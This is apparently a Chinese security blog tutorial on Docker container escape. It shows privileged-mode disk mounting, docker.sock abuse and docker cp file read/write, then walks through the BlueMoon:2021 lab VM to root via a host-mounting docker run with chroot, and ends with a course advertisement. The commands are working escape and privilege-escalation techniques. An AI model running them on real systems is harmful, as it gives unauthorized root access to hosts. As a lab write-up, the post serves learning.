Docker逃逸
什么是Docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的
Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。
Docker逃逸
配置不当引起的docker逃逸
docket remote api未授权访问导致逃逸
特权模式逃逸
挂载敏感目录
内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)
Docker本身漏洞(CVE)
CVE-2019-5736
CVE-2019-14271
这里主要测试挂载卷造成的逃逸,
挂载敏感目录逃逸之特权模式挂载逃逸
实验环境:ubuntu16.04 ,docker 版本 20.10
service docker status
docker的状态是开启的,未安装docker需要安装。
特权模式下启动一个容器。
docker run -it --privileged ff6f /bin/bash
查看docker容器磁盘文件。
fdisk -l
正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件。
ls /dev
创建一个目录名为"test",名字任意创建。
mkdir test
此时test
目录下无任何文件,将/dev/sda1
挂载在test目录下。
mount /dev/sda1 /test
查询test
目录。
此时例如home
等目录下是没有任何文件的。
将amazing
写入/test/home/1.txt
echo “amazing” >/test/home/1.txt
此时宿主机home
,目录下是存在1.txt文件的。
挂载敏感目录逃逸之docker.sock 挂载
Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考。
因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式。
socket的连接方式有三种
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
利用docker.sock逃逸的前提条件
攻击者获得了 docker 容器的访问权限
容器已安装
/var/run/docker.sock
使用挂载实现docker.sock
,拉取一个镜像ubuntu16.04
docker pull ubuntu:16.04
查看镜像
docker images
运行一个挂载/var/run/的容器
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock
ubuntu:16.04 /bin/bash
进入docker容器内
apt-get install docker.io
这个时候安装可能报错
更新源
apt update
更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老。
apt-get install docker.io
查看宿主机信息。
docker -H unix://var/run/docker.sock info
利用docker.sock再创建一个docker容器,挂载/var/run
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04
/bin/bash
此时查看test
目录下可看到宿主机文件文件。
实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像。
alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。
但是alpine
在更新apk
的时候,比较慢。
所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list
更换源,可能会快一点。
原理
过程可分为两部分
文件写入
将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
文件读取
它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID
副本并运行它以维护提升的权限,要与现有的 SUID
二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。
BlueMoon简介
Name : BlueMoon: 2021
Date release : 7 Apr 2021
Author : Kirthik
Series : BlueMoon
环境搭建
攻击机kali
IP
192.168.158.39
目标靶机Debian
,ip地址未知,dhcp自动获取
下载地址
导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡
信息搜集
netdiscover -n 192.168.248.39/24
我使用搞得热点比较容易确定目标靶机,扫描端口
nmap -A -p- 192.168.158.250
开放三个端口21,22以及80
扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch
扫描目录,内置字典并不能扫描出结果,换字典。
python3 dirsearch.py -u “http://192.168.158.250”
-e *
访问是个二维码,扫描的内容。
#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user
$USER $PASSWORD bye EOF
获取flag
ftp的账号密码
userftp/ftpp@ssword
工具连接或者命令行都可
在information.txt
中告诉了,p_list.txt
为密码字典,用户名为robin
,
上级目录中有jerry
中有个用户名的txt,但是无法查看文件,使用robin用户爆破
账号密码
robin/k4rv3ndh4nh4ck3r
ssh登录
ssh robin@192.168.158.250
ls
cat user1.txt
使用命令
sudo -l
告诉了jerry
权限可以执行/home/robin/project/feedback.sh
横向提权
sudo -u jerry /home/robin/project/feedback.sh
jerry
/bin/sh
当前用户为jerry
,这个时候我们就可以读取前面不能读取的user2.txt
,因为这个时候在home/robin
,所以切换用户目录读取或者直接读取文件。
垂直提权
给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell。
python -c ‘import pty;pty.spawn(“/bin/bash”)’
查询是否有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
find /usr/bin/passwd -exec “/bin/sh” ;
无果,,,,纳闷儿了
docker images
docker ps
镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
此时已经为root
权限,读取根目录下的root.txt
结语
这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。
docker ps
[外链图片转存中…(img-FMhFStgl-1690904082551)]
镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
[外链图片转存中…(img-Rmts7oJc-1690904082553)]
此时已经为root
权限,读取根目录下的root.txt
[外链图片转存中…(img-DUVs2RZZ-1690904082554)]
结语
这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。